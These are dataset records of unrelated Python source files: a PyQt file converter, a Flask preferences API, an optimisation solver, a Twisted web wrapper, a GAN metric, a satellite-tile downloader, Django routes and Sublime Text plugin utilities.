self.ui.MoodleBox.setChecked(True)\n self.ui.FotoBox.setChecked(False)\n self.ui.FotoBox.setEnabled(False)\n self.ui.GoogleBox.setChecked(False)\n\n pass\n\n def do_selectfile(self):\n fname = QtWidgets.QFileDialog.getOpenFileName()[0]\n self.ui.lineEdit.setText(str(fname))\n if fname != '':\n self.ui.pushButton.setEnabled(True)\n return None\n\n def do_convert(self):\n frname = self.ui.lineEdit.text()\n tmpname = os.path.split(frname)\n fwname = os.path.join(tmpname[0], 'mdl_' + tmpname[1])\n text1 = self.ui.outlabel.setText('Output file: ' + fwname)\n if self.ui.MoodleBtn.isChecked():\n Convert_1c(frname, fwname, self.ui.FotoBox.isChecked())\n else:\n Convert_Text(frname, fwname)\n # self.ui.progressBar.setProperty('value', newvalue)\n self.ui.lineEdit.setText('')\n self.ui.pushButton.setEnabled(False)\n return None\n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n myapp = MyWin()\n myapp.show()\n sys.exit(app.exec_())\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"502952583","text":"# -*- encoding: utf-8 -*-\r\nfrom flask import Blueprint\r\nfrom flask import jsonify\r\nfrom flask import request\r\nfrom flask_login import current_user\r\nfrom flask_login import login_required\r\nfrom sqlalchemy import func\r\n\r\nfrom lazyblacksmith.models import SolarSystem\r\nfrom lazyblacksmith.models import TokenScope\r\nfrom lazyblacksmith.models import db\r\n\r\nfrom . import logger\r\n\r\najax_account = Blueprint('ajax_account', __name__)\r\n\r\n\r\n@ajax_account.route('/scopes//', methods=['DELETE'])\r\n@login_required\r\ndef delete_scope(character_id, scope):\r\n \"\"\" Remove a scope for a given character_id from the database \"\"\"\r\n if request.is_xhr:\r\n allowed_character_id = [\r\n alt.character_id for alt in current_user.alts_characters.all()\r\n ]\r\n if (character_id == current_user.character_id or\r\n character_id in allowed_character_id):\r\n try:\r\n TokenScope.query.filter(\r\n TokenScope.user_id == character_id,\r\n TokenScope.scope == scope\r\n ).delete()\r\n db.session.commit()\r\n return jsonify({'status': 'success'})\r\n\r\n except:\r\n logger.exception('Cannot delete scope %s for user_id %s' % (\r\n scope,\r\n character_id,\r\n ))\r\n db.session.rollback()\r\n response = jsonify({\r\n 'status': 'error',\r\n 'message': 'Error while trying to delete scope'\r\n })\r\n response.status_code = 500\r\n return response\r\n else:\r\n response = jsonify({\r\n 'status': 'error',\r\n 'message': 'This character does not belong to you'\r\n })\r\n response.status_code = 500\r\n return response\r\n else:\r\n return 'Cannot call this page directly', 403\r\n\r\n\r\n@ajax_account.route('/user_preference/', methods=['POST'])\r\n@login_required\r\ndef update_user_industry_preference():\r\n \"\"\" Update the user preferences for industry \"\"\"\r\n if request.is_xhr:\r\n preferences = request.get_json()\r\n\r\n if 'production' in preferences:\r\n return update_production_preference(preferences['production'])\r\n\r\n if 'research' in preferences:\r\n return update_research_preference(preferences['research'])\r\n\r\n if 'invention' in preferences:\r\n return update_invention_preference(preferences['invention'])\r\n else:\r\n return 'Cannot call this page directly', 403\r\n\r\n\r\ndef update_production_preference(preferences):\r\n \"\"\" Called by update_user_industry_preference, update the production\r\n preferences \"\"\"\r\n if preferences:\r\n pref = current_user.pref\r\n\r\n try:\r\n pref.prod_facility = preferences['facility']\r\n pref.prod_me_rig = preferences['meRig']\r\n pref.prod_te_rig = preferences['teRig']\r\n pref.prod_security = preferences['security']\r\n pref.prod_system = check_solar_system(preferences['system'])\r\n pref.prod_sub_facility = preferences['componentFacility']\r\n pref.prod_sub_me_rig = preferences['componentMeRig']\r\n pref.prod_sub_te_rig = preferences['componentTeRig']\r\n pref.prod_sub_security = preferences['componentSecurity']\r\n pref.prod_sub_system = check_solar_system(preferences['componentSystem'])\r\n pref.prod_price_region_minerals = preferences['priceMineralRegion']\r\n pref.prod_price_type_minerals = preferences['priceMineralType']\r\n pref.prod_price_region_pi = preferences['pricePiRegion']\r\n pref.prod_price_type_pi = preferences['pricePiType']\r\n pref.prod_price_region_moongoo = preferences['priceMoongooRegion']\r\n pref.prod_price_type_moongoo = preferences['priceMoongooType']\r\n pref.prod_price_region_others = preferences['priceOtherRegion']\r\n pref.prod_price_type_others = preferences['priceOtherType']\r\n pref.prod_character_id = preferences['characterId']\r\n\r\n db.session.commit()\r\n return jsonify({'status': 'success'})\r\n\r\n except:\r\n logger.exception('Cannot update preferences')\r\n db.session.rollback()\r\n response = jsonify({\r\n 'status': 'error',\r\n 'message': 'Error while updating preferences'\r\n })\r\n response.status_code = 500\r\n return response\r\n else:\r\n response = jsonify({\r\n 'status': 'error',\r\n 'message': 'Error: preferences are empty'\r\n })\r\n response.status_code = 500\r\n return response\r\n\r\n\r\ndef update_invention_preference(preferences):\r\n \"\"\" Called by update_user_industry_preference, update the invention\r\n preferences \"\"\"\r\n if preferences:\r\n pref = current_user.pref\r\n\r\n try:\r\n pref.invention_facility = preferences['facility']\r\n pref.invention_invention_rig = preferences['inventionRig']\r\n pref.invention_copy_rig = preferences['copyRig']\r\n pref.invention_security = preferences['security']\r\n pref.invention_system = check_solar_system(preferences['system'])\r\n pref.invention_price_region = preferences['priceRegion']\r\n pref.invention_price_type = preferences['priceType']\r\n pref.invention_character_id = preferences['characterId']\r\n\r\n db.session.commit()\r\n return jsonify({'status': 'success'})\r\n\r\n except:\r\n logger.exception('Cannot update preferences')\r\n db.session.rollback()\r\n response = jsonify({\r\n 'status': 'error',\r\n 'message': 'Error while updating preferences'\r\n })\r\n response.status_code = 500\r\n return response\r\n else:\r\n response = jsonify({\r\n 'status': 'error',\r\n 'message': 'Error: preferences are empty'\r\n })\r\n response.status_code = 500\r\n return response\r\n\r\n\r\ndef update_research_preference(preferences):\r\n \"\"\" Called by update_user_industry_preference, update the research\r\n preferences \"\"\"\r\n if preferences:\r\n pref = current_user.pref\r\n\r\n try:\r\n pref.research_facility = preferences['facility']\r\n pref.research_me_rig = preferences['meRig']\r\n pref.research_te_rig = preferences['teRig']\r\n pref.research_copy_rig = preferences['copyRig']\r\n pref.research_security = preferences['security']\r\n pref.research_system = check_solar_system(preferences['system'])\r\n pref.research_character_id = preferences['characterId']\r\n\r\n db.session.commit()\r\n return jsonify({'status': 'success'})\r\n\r\n except:\r\n logger.exception('Cannot update preferences')\r\n db.session.rollback()\r\n response = jsonify({\r\n 'status': 'error',\r\n 'message': 'Error while updating preferences'\r\n })\r\n response.status_code = 500\r\n return response\r\n else:\r\n response = jsonify({\r\n 'status': 'error',\r\n 'message': 'Error: preferences are empty'\r\n })\r\n response.status_code = 500\r\n return response\r\n\r\n \r\ndef check_solar_system(system_name):\r\n \"\"\" Check if a solarsystem exists and return the real name from database\r\n (prevents lower/upper case issues) \"\"\"\r\n system = SolarSystem.query.filter(\r\n func.lower(SolarSystem.name) == func.lower(system_name)\r\n ).one_or_none()\r\n return 'Jita' if not system else system.name\r\n ","sub_path":"lazyblacksmith/views/ajax/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":7768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"57058686","text":"#!/usr/bin/env python\nfrom optparse import OptionParser\nimport numpy as np\nimport itertools\nimport matplotlib.pyplot as plt\nimport scipy\nimport scipy.special\nimport sys\nimport matplotlib\nimport scipy.optimize as optimize\nfrom functools import partial\nimport json\n\n# GLOBALS\n\nPARAMETER_P = 2\nPARAMETER_ALPHA = 0.9\nPARAMETER_BETA = 10\nPARAMETER_MULT = 10\nPARAMETER_EPSILON = 0.001\nPARAMETER_PENALTY = 10.0\nPARAMETER_SUM = 0\nPARAMETER_MUL = 6\nRESULT_ITERCOUNT = 0\nRESULT_FUNCTION = 0\nRESULT_POINT = None\nPARAMETER_SRC = \"INPUT\"\nVAR_COUNT = 9\n\n#GLOBALS END\n\ndef linear_combination(c, x):\n return (c.flatten()*x.flatten()).sum()\n\ndef stohastic_programming_function(alpha, a, sigma, b, start, x):\n return b - (linear_combination(a, x) +\n scipy.special.erfinv(alpha) * (((sigma ** 2) * (x**2)).sum() ** 0.5));\n\ndef linear_combination_minus_number(c, b, x):\n return (x * c).sum() - b\n\ndef generate_functions(alpha, S, table, b, d):\n m, n, k = table.shape\n xij = \"%s_{%d%d}\"\n pattern = \"%.2f%s\"\n x_template = \"x\"\n arguments_length = int(n / S * m)\n length = int(n / S)\n fp = open(\"MATRIX_IN\", \"w\")\n fp.write(\"%d %d %d\\n\" % (m, n, S))\n for row in range(m):\n for k_ in range(S):\n a, sigma = np.zeros(arguments_length), np.zeros(arguments_length)\n coefs = table[row, k_::S]\n za = [(i + j) / 2.0 for i,j in coefs ]\n zsigma = [((i - j)**2) / 12.0 for i,j in coefs ]\n for i, pair in enumerate(zip(za, zsigma)):\n a[row * length + i ] = pair[0]\n sigma[row*length + i] = pair[1]\n\n line = \" \".join( str(i) for i in itertools.chain(a, sigma))\n fp.write(\"%s %d\\n\" % (line, b[row * 2 + k_]))\n yield partial(stohastic_programming_function,\n alpha, a, sigma, b[row * 2 + k_], row)\n fp.close()\n for row in range(m):\n coeficients = np.zeros(arguments_length)\n ones = np.ones(length)\n for i, pair in enumerate(ones):\n coeficients[row * length + i ] = pair\n yield partial(linear_combination_minus_number, coeficients, d[row]) \n\n for i in range(arguments_length):\n yield partial(lambda i, x: x[i], i)\n\n\ndef data():\n global VAR_COUNT\n ALPHA = PARAMETER_ALPHA\n fp = open(PARAMETER_SRC)\n rows_count = int(fp.readline())\n table = []\n k = 0\n \n for line in fp:\n stripped = line.strip()\n data = [float(i) for i in stripped.split(\" \")]\n table.append([]) \n for i in range(0, len(data), 2): \n table[k].append((data[i], data[i + 1]))\n k += 1\n if k == rows_count:\n break\n line = fp.readline().strip(\" \")\n line2 = fp.readline().strip(\" \")\n line3 = fp.readline().strip(\" \")\n table = np.array(table)\n c_mult = 1\n m = PARAMETER_SUM\n d = np.array([float(i) for i in line.split(\" \")]) + m\n c = np.array([float(i) for i in line2.split(\" \")]).flatten() * c_mult\n b = np.array([float(i) for i in line3.split(\" \")]) * PARAMETER_MUL\n VAR_COUNT = len(c)\n S = 2\n fp.close()\n return ALPHA, S, table, c, d, b\n\n\ndef get_data(alphs, s, table, c, d, b):\n needle = partial(linear_combination, c)\n functions = list(generate_functions(alphs, s, table, b, d))\n return needle, functions\n\n\ndef default_penalty_function(g):\n return lambda x: max(0, -g(x))**PARAMETER_P\n \n\ndef alpha_function(restrictions, penalty_function=default_penalty_function):\n return lambda x: sum(default_penalty_function(f)(x) for f in restrictions)\n\n\ndef composition(functions, reducer=sum):\n return lambda x0: reducer(foo(x0) for foo in functions)\n\n\ndef penalty_optimize_step(needle, alpha, penalty, x0):\n foo = lambda x: needle(x) + penalty * alpha(x)\n return optimize.minimize(foo, x0, method='Nelder-Mead', options={\"maxiter\": 100000, \"maxfev\": 100000}), foo\n \n\ndef penalty_optimize(needle_function, restrictions, x0, beta=2.0, epsilon=0.00001, penalty=1):\n cols_n = len(x0)\n x0 = np.array(x0)\n alpha = alpha_function(restrictions)\n fit, penalty_function = penalty_optimize_step(needle_function, alpha, penalty, x0)\n iterations_count = 1\n while alpha(fit.x) * penalty > epsilon:\n fit, penalty_function = penalty_optimize_step(needle_function, alpha, penalty, [int(max(0, x)) for x in fit.x])\n penalty *= beta\n iterations_count += 1\n global RESULT_ITERCOUNT, RESULT_POINT, RESULT_FUNCTION\n RESULT_ITERCOUNT = iterations_count\n RESULT_POINT = np.array([int(x) for x in fit.x])\n RESULT_FUNCTION = needle_function(RESULT_POINT)\n return fit, penalty_function, alpha\n\n\ndef main(args):\n #global PARAMETER_P\n #PARAMETER_P = 2#float(input())\n in_data = data()\n needle, functions = get_data(*in_data)\n x0 = np.zeros(VAR_COUNT) \n fit, foo, alpha = penalty_optimize(needle, functions, x0, epsilon=PARAMETER_EPSILON, penalty=PARAMETER_PENALTY, beta=PARAMETER_BETA)\n res = np.array([int(x) for x in fit.x])\n\n\ndef prepare_globals(options):\n global PARAMETER_SUM, PARAMETER_ALPHA, PARAMETER_BETA, PARAMETER_EPSILON, PARAMETER_PENALTY, PARAMETER_SUM, PARAMETER_MUL, PARAMETER_SRC\n if options.alpha != None:\n PARAMETER_ALPHA = float(options.alpha)\n if options.p != None:\n PARAMETER_P = float(options.p)\n if options.epsilon != None:\n PARAMETER_EPSILON =float(options.epsilon)\n if options.r != None:\n PARAMETER_PENALTY = options.r\n if options.rmultiplier != None:\n PARAMETER_MUL = options.rmultiplier\n if options.planplus != None:\n PARAMETER_SUM = options.planplus\n if options.src != None:\n PARAMETER_SRC = options.src\n\n\ndef parseOptions():\n global PARAMETER_SUM, PARAMETER_ALPHA, PARAMETER_BETA, PARAMETER_EPSILON, PARAMETER_PENALTY, PARAMETER_SUM, PARAMETER_MUL\n parser = OptionParser()\n parser.add_option(\"-s\", \"--src\", dest=\"src\", help=\"setup src for input\", metavar=\"INPUT_FILE\")\n parser.add_option(\"-p\", \"--p\", dest=\"p\", help=\"setup power for penalty-functions methods\", metavar=\"POW_PENALTY\")\n parser.add_option(\"-e\", \"--epsilon\", dest=\"epsilon\", help=\"how precise your solution would be\", metavar=\"EPSILON\")\n parser.add_option(\"-r\", \"--r\", dest=\"r\", help=\"value for r at penalty-functions method\", metavar=\"DEFAULT_MULTIPLIER\")\n parser.add_option(\"-b\", \"--beta\", dest=\"beta\", help=\"value for beta-multiplier for penalty_functions method\", metavar=\"BETA\")\n parser.add_option(\"-a\", \"--alpha\", dest=\"alpha\", help=\"probability\", metavar=\"ALPHA\")\n parser.add_option(\"-R\", \"--rmultiplier\", dest=\"rmultiplier\", help=\"RESOURCE-multiplier\", metavar=\"RMULTIPLIER\")\n parser.add_option(\"-P\", \"--planplus\", dest=\"planplus\", help=\"Plan-variations\", metavar=\"PLANPLUS\")\n (options, args) = parser.parse_args()\n prepare_globals(options)\n\n\nif __name__ == '__main__':\n# try:\n parseOptions()\n main([])\n encoder = json.JSONEncoder()\n data = {\"itn\": RESULT_ITERCOUNT, \"f\": RESULT_FUNCTION, \"xOpt\": list(RESULT_POINT.tolist())}\n print(encoder.encode(data))\n# except Exception as e:\n# print(\"UNSATISFIED requirements for input-file\")\n","sub_path":"python-application/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":7157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"445844054","text":"# encoding:utf-8\nimport logging\nfrom twisted.web import resource\nfrom twisted.web.server import Site\nfrom twisted.internet import reactor\nimport weixin\nimport youmi\nimport config\n\n\nclass WebSite(object):\n def __init__(self):\n self.port = None\n self.root = None\n self.reg_map = {}\n\n def register(self, path, page):\n logging.info(u'WebSite.register() path=%s', path)\n if self.root:\n self.root.putChild(path, page)\n else:\n self.reg_map[path] = page\n\n def start(self):\n self.root = resource.Resource()\n self.root.putChild(\"wx\", weixin.instance)\n self.root.putChild(\"youmi\", youmi.instance)\n for path, page in self.reg_map.iteritems():\n self.root.putChild(path, page)\n self.reg_map.clear()\n self.port = reactor.listenTCP(config.instance.web_port, Site(self.root))\n\n def stop(self):\n self.port.stopListening()\n\n\ninstance = WebSite()\n","sub_path":"gamecenter/website.py","file_name":"website.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229376468","text":"import metrics.metrics as metrics\nimport metrics.inception_processing as inception_processing\nimport utilities.directories as directories\nimport training.config as config\nimport numpy as np\nfrom tqdm import tqdm\nimport tensorflow as tf\n\nclass DiscriminativeMetric:\n name = 'discriminative metric'\n number_of_batches_for_one_file = 4\n\n def __init__(self, discriminator):\n self.discriminator = discriminator\n\n def evaluate(self,\n session,\n generator,\n real_data,\n number_activations_in_one_metric_calculation=1024,\n number_of_activations_batches=10):\n number_of_batches = number_activations_in_one_metric_calculation // config.batch_size\n\n score_list_real = []\n score_list_fake = []\n\n progressbar_frechett_calculations = tqdm(\n range(number_of_activations_batches))\n real_logits = []\n fake_logits = []\n fake_logit_op = self.discriminator(generator.call_without_input())\n real_data = tf.reshape(real_data,\n shape=(config.batch_size, 3,\n generator.resolution,\n generator.resolution)) \n real_logit_op = self.discriminator(real_data)\n for batch in progressbar_frechett_calculations:\n for i in range(number_of_batches):\n fake_logit = session.run(fake_logit_op)\n real_logit = session.run(real_logit_op)\n fake_logits.append(fake_logit)\n real_logits.append(real_logit)\n\n score_real = np.mean(np.concatenate(real_logits))\n score_fake = np.mean(np.concatenate(fake_logits))\n fake_logits.clear()\n real_logits.clear() \n print('Calculated score for real is ' + str(score_real) + 'for fake is '+ str(score_fake))\n score_list_real.append(score_real)\n score_list_fake.append(score_fake)\n \n np_scores_real = np.asarray(score_list_real)\n np_scores_fake = np.asarray(score_list_fake)\n\n avg_real, std_real = np.mean(np_scores_real), np.std(np_scores_real)\n avg_fake, std_fake = np.mean(np_scores_fake), np.std(np_scores_fake)\n\n print('real ' + self.name + ' avg: {} std: {}'.format(avg_real, std_real))\n print('fake ' + self.name + ' avg: {} std: {}'.format(avg_fake, std_fake))\n\n return avg_fake, std_fake\n\n def get_name(self):\n return self.name","sub_path":"metrics/DiscriminativeMetric.py","file_name":"DiscriminativeMetric.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"186366903","text":"\n\"\"\"\nGet satellite data tiles at various levels of detail\n\"\"\"\n\nimport urllib.request\nimport os.path\nimport subprocess\n\n#testfile = urllib.URLopener()\n#testfile.retrieve(\"http://randomsite.com/file.gz\", \"file.gz\")\n\n#lod=3\n#r=1\n#c=1\n#tilefile = urllib.URLopener()\n#with urllib.request.urlopen('http://python.org/') as response:\n# html = response.read()\nlod=13\nyext=(120,147)\nxext=(75,99)\n\nfor r in range(*yext):\n for c in range(*xext):\n filename = \"rawdata/satellite/lod13/tile_r%d_c%d_lod%d.jpg\" % (r,c,lod)\n if os.path.isfile(filename):\n print(\"already got %s\" % filename)\n else:\n print(\"downloading %s\" % filename)\n response = urllib.request.urlopen(\"http://gistiles3.arso.gov.si/nukleus_tiles/Gis/NukleusTiles/v50/AgccTile.ashx?gcid=lay_AO_DOF_2014&r=%d&c=%d&lod=%d&lid=lay_ao_dof_2014&f=jpg\" % (r,c,lod))\n data = response.read()\n file = open(filename)\n file.write(data)\n file.close()\n\n#print (\"Reconstruct with montage 'tile_r*_c*_lod%d.jpg' -geometry +0+0 -tile %dx%d montage.jpg\" % (lod,xext[1]-xext[0],yext[1]-yext[0]))\ncommand = \"montage 'tile_r*_c*_lod%d.jpg' -geometry +0+0 -tile %dx%d montage.jpg\" % (lod,xext[1]-xext[0],yext[1]-yext[0])\nprint(\"Run this manually: \",command)\n#subprocess.run(command, shell=True)\n\n#The following have been identified as a location matching the 9th level of detail images to their physical location\n#If the yextent or xextent are changed, this point will need to be moved.\n#The top left hand corner of the tile with image coordinates 1614,4800 corresponds with the top left of the 403000,123000 1km square.\nfixedImageX=3618\nfixedImageY=3479\nwidth1kmTile=377\nfixedX=405\nfixedY=123\n\n\n\n\n## LOD 9 Calibrations:\n\n\n\n\n#The offset from GK to TM \n#tm_x_offset = 1397\n#tm_y_offset = 1805\n\n\n\n\nfor ix in range(-11,10):\n for iy in range(-8,10):\n command = \"convert .\\montage.jpg -crop %dx%d+%d+%d -resize 256x256 assets/satellite/96TM/256/%d_%d.jpg\" % (width1kmTile,width1kmTile,fixedImageX+ix*width1kmTile,fixedImageY+iy*width1kmTile,fixedX+ix,fixedY+1-iy)\n print(command)\n #subprocess.run(command, shell=True)\n\n\n\n\n\n#http://gistiles3.arso.gov.si/nukleus_tiles/Gis/NukleusTiles/v50/AgccTile.ashx?gcid=lay_AO_DOF_2014&r=1&c=1&lod=3&lid=lay_ao_dof_2014&f=jpg\n","sub_path":"src/retrieveSatelliteTiles.lod13.py","file_name":"retrieveSatelliteTiles.lod13.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"433507083","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url (r'signup/', views.signup, name=\"signup\"),\n url (r'login/', views.login, name=\"login\"),\n url (r'toll_locations/', views.locations, name=\"toll_locations\"),\n url (r'qrgen/', views.qrgen, name=\"qrgen\"),\n url (r'payment/', views.payment, name=\"payment\"),\n url (r'auth/', views.auth, name=\"auth\"),\n url (r'details/', views.userdetails, name=\"details\"),\n url (r'payment2/', views.pay2, name=\"pay2\")\n]\n","sub_path":"rest_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"17963371","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport os\nimport sublime\nimport codecs\nimport json\nimport shutil\n\nfrom . import DeviotCommands\nfrom . import DeviotPaths\n\nclass JSONFile(object):\n\t\"\"\"Handle JSON Files\n\t\n\tThis class allow to load and save JSON files\n\t\"\"\"\n\tdef __init__(self, path):\n\t\t\"\"\"JSONFile Construct\n\t\t\n\t\tThis construct load a file when is called and\n\t\tload the information in a global variable\n\t\t\n\t\tArguments:\n\t\t\tpath {string} -- Full path of the JSON file\n\t\t\"\"\"\n\t\tsuper(JSONFile, self).__init__()\t\t\n\t\tself.setEncoding()\n\t\tself.data = {}\n\t\tself.path = path\n\t\tself.loadData()\t\t\n\n\tdef loadData(self):\n\t\t\"\"\"Load JSON File\n\t\t\n\t\tLoad the content of a JSON file and \n\t\tdeserialize it to set the information \n\t\tin a global object called data\n\t\t\"\"\"\n\t\ttry:\n\t\t\ttext = self.readFile()\n\t\texcept:\n\t\t\treturn\n\t\t\t\n\t\ttry:\n\t\t\tself.data = json.loads(text)\n\t\texcept:\n\t\t\tpass\n\n\tdef getData(self):\n\t\t\"\"\"Ouput data\n\t\t\n\t\tIt's an alternative way to get the data obtained from\n\t\tthe JSON file. The other way is using only the \"data\"\n\t\tglobal object.\n\n\t\tReturns:\n\t\t\t{miltiple} -- mutiple type of data stored in the \n\t\t\t\t\t\t differents files.\n\t\t\"\"\"\n\t\treturn self.data\n\n\tdef setData(self, data):\n\t\t\"\"\"Set the JSON data\n\t\t\n\t\tSave the data in the file setted on the\n\t\tconstruct. This method is most used in \n\t\tthe preferences class.\n\t\t\n\t\tArguments:\n\t\t\tdata {string} -- data to save in the JSON file.\n\t\t\"\"\"\n\t\tself.data = data\n\t\tself.saveData()\n\n\tdef saveData(self):\n\t\t\"\"\"Save JSON data\n\t\t\n\t\tSerialize the data stored in the global object data\n\t\tand call to Write file. This function is called automatically\n\t\twhen any data is set in the method SetData.\n\t\t\n\t\t\"\"\"\n\t\ttext = json.dumps(self.data, sort_keys=True, indent=4)\n\t\tself.writeFile(text)\n\n\tdef readFile(self):\n\t\t\"\"\"Read File\n\t\t\n\t\tRead the data from the file specified in the global object path.\n\t\tThe data readed is encoded with the format specified in the global\n\t\tobject encoding, by default this object is UTF-8. Use this method \n\t\tif you don't want to modify the data received from the file.\n\n\t\tReturns:\n\t\t\ttext {string} -- encoded text readed from file\n\t\t\"\"\"\n\t\ttext = ''\n\n\t\ttry:\n\t\t\twith codecs.open(self.path, 'r', self.encoding) as file:\n\t\t\t\ttext = file.read()\n\t\texcept (IOError, UnicodeError):\n\t\t\tpass\n\n\t\treturn text\n\n\tdef writeFile(self, text, append=False):\n\t\t\"\"\"Write File\n\t\t\n\t\tWrite the data passed in a file specified in the global object path.\n\t\tThis method is called automatically by saveData, and encode the text\n\t\tin the format specified in the global object encoding, by default this\n\t\tobject is UTF-8. Use this method if you don't want to modify the data\n\t\tto write.\n\t\t\n\t\tArguments:\n\t\t\ttext {string} -- Text to write in the file\n\t\t\n\t\tKeyword Arguments:\n\t\t\tappend {boolean} -- Set to True if you want to append the data in the file (default: False)\n\t\t\"\"\"\n\t\tmode = 'w'\n\n\t\tif append:\n\t\t\tmode = 'a'\n\t\ttry:\n\t\t\twith codecs.open(self.path, mode, self.encoding) as file:\n\t\t\t\tfile.write(text)\n\t\texcept (IOError, UnicodeError):\n\t\t\tpass\n\n\tdef setEncoding(self, encoding='utf-8'):\n\t\t\"\"\"Change encoding\n\t\t\n\t\tCall this method to change the format to encode the files when you \n\t\tload it or save it.\n\t\t\n\t\tKeyword Arguments:\n\t\t\tencoding {string} -- Format to encoding (default: UTF-8 )\n\t\t\"\"\"\n\t\tself.encoding = encoding\n\nclass Menu(object):\n\t\"\"\"Plugin Menu\n\t\n\tClass to handle the differents option in the plugin menu.\n\t\"\"\"\n\tdef __init__(self):\n\t\t\"\"\"Construct\n\t\t\n\t\tCall the construct of the command library to make the\n\t\tdifferents call by CLI\n\t\t\"\"\"\n\t\tsuper(Menu, self).__init__()\n\t\tself.Command = DeviotCommands.CommandsPy()\n\n\tdef saveAPIBoards(self):\n\t\t\"\"\"Save board list\n\t\t\n\t\tSave the JSON object in a specific JSON file\n\t\t\"\"\"\n\t\tboards = PlatformioCLI().getAPIBoards()\n\n\t\tfile = JSONFile(DeviotPaths.getDeviotBoardsPath())\n\t\tfile.setData(boards)\n\t\tfile.saveData()\n\n\tdef getFileBoards(self):\n\t\t\"\"\"Get Board File\n\t\t\n\t\tLoad the board list stored in a JSON file and \n\t\treturn the data. This function is used to avoid\n\t\talways download the list from the web.\n\n\t\tReturns:\n\t\t \t{json object} -- list with all boards in a JSON format\n\t\t\"\"\"\n\t\tfile = JSONFile(DeviotPaths.getDeviotBoardsPath())\n\t\tboards = file.getData()\n\t\treturn boards\n\n\tdef createBoardsMenu(self):\n\t\t\"\"\"Board menu\n\t\t\n\t\tLoad the JSON file with the list of all boards and re order it\n\t\tbased on the vendor. after that format the data to operate with\n\t\tthe standards required for the ST\n\n\t\tReturns:\n\t\t \t{json array} -- list of all boards to show in the menu\n\t\t\"\"\"\n\t\tvendors = {}\n\t\tboards = []\n\t\t\n\t\tdatas = json.loads(self.getFileBoards())\n\n\t\tfor datakey,datavalue in datas.items():\n\t\t\tfor infokey,infovalue in datavalue.items():\n\t\t\t\tvendor = datavalue['vendor']\n\t\t\t\tif(infokey == 'name'):\n\t\t\t\t\tname = infovalue.replace(vendor + \" \",\"\",1)\n\t\t\t\t\tchildren = vendors.setdefault(vendor,[])\n\t\t\t\t\tchildren.append({\"caption\":name,'command':'select_board',\"id\":datakey,\"checkbox\":True,\"args\":{\"board_id\":datakey}})\n\n\t\tfor vendor, children in vendors.items():\n\t\t\tboards.append({\"caption\":vendor,\"children\":children})\n\n\t\tboards = sorted(boards, key=lambda x:x['caption'])\n\t\tboards = boards\n\t\t\n\t\treturn boards\n\n\tdef createSerialPortsMenu(self):\n\t\t\"\"\"Serial ports\n\t\t\n\t\tCreate the list menu \"Serial ports\" with the list of all the\n\t\tavailables serial ports\n\t\t\"\"\"\n\n\t\tmenu_path_preset = DeviotPaths.getDeviotMenuPath('serial')\n\t\tmenu_preset = JSONFile(menu_path_preset)\n\t\tmenu_preset = menu_preset.getData()\n\n\t\tport_list = PlatformioCLI().getAPICOMPorts()\n\n\t\tmenu_ports = []\n\t\t\n\t\tfor port in port_list:\n\t\t\tport_name = port[\"port\"]\n\t\t\tmenu_ports.append({\"caption\":port_name,\"command\":\"select_port\",\"checkbox\":True,\"args\":{\"id_port\":port_name}})\n\n\t\tmenu_preset[0]['children'][0]['children'] = menu_ports\n\n\t\tserial_menu_path = DeviotPaths.setDeviotMenuPath('serial')\n\t\tserial_menu = JSONFile(serial_menu_path)\n\t\tserial_menu.setData(menu_preset)\n\t\tserial_menu.saveData()\n\n\n\tdef createMainMenu(self):\n\t\t\"\"\"Main menu\n\t\t\n\t\tCreates the main menu with the differents options\n\t\tincluding boards, libraries, COM ports, and user\n\t\toptions.\n\t\t\"\"\"\n\t\tself.createSerialPortsMenu()\n\n\t\tboards = self.createBoardsMenu()\n\n\t\tmain_file_path = DeviotPaths.getMainJSONFile()\n\t\tmenu_file = JSONFile(main_file_path)\n\t\tmenu_data = menu_file.data[0]\n\n\t\tfor fist_menu in menu_data:\n\t\t\tfor second_menu in menu_data[fist_menu]:\n\t\t\t\tif 'children' in second_menu:\n\t\t\t\t\tif(second_menu['id'] == 'initialize'):\n\t\t\t\t\t\tsecond_menu['children'] = boards\n\t\t\n\t\t# to format purposes\n\t\tmenu_data = [menu_data]\n\t\t\n\t\tmain_user_file_path = DeviotPaths.setDeviotMenuPath()\n\t\tfile_menu = JSONFile(main_user_file_path)\n\t\tfile_menu.setData(menu_data)\n\t\tfile_menu.saveData()\n\nclass Preferences(JSONFile):\n\t\"\"\"Preferences\n\t\n\tClass to handle the preferences of the plugin\n\t\n\tExtends:\n\t\tJSONFile\n\t\"\"\"\n\tdef __init__(self):\n\t\t\"\"\"Construct\n\t\t\n\t\tPath loads the file where the preferences are stored,\n\t\tDoing that you avoid to pass the path every time you\n\t\tneed to get or set any preference.\n\t\t\"\"\"\n\t\tpath = DeviotPaths.getPreferencesFile()\n\t\tsuper(Preferences, self).__init__(path)\n\n\tdef set(self, key, value):\n\t\t\"\"\"Set value\n\t\t\n\t\tSave a value in the preferences file using a list and\n\t\tdictionaries.\n\t\t\n\t\tArguments:\n\t\t\tkey {string} -- identifier of the preference\n\t\t\tvalue {[type]} -- value of the preference\n\t\t\"\"\"\n\t\tself.data[key] = value\n\t\tself.saveData()\n\n\tdef get(self, key, default_value=False):\n\t\t\"\"\"Get Value\n\t\t\n\t\tGet a value in the preferences file stored as a list and\n\t\tdictionaries 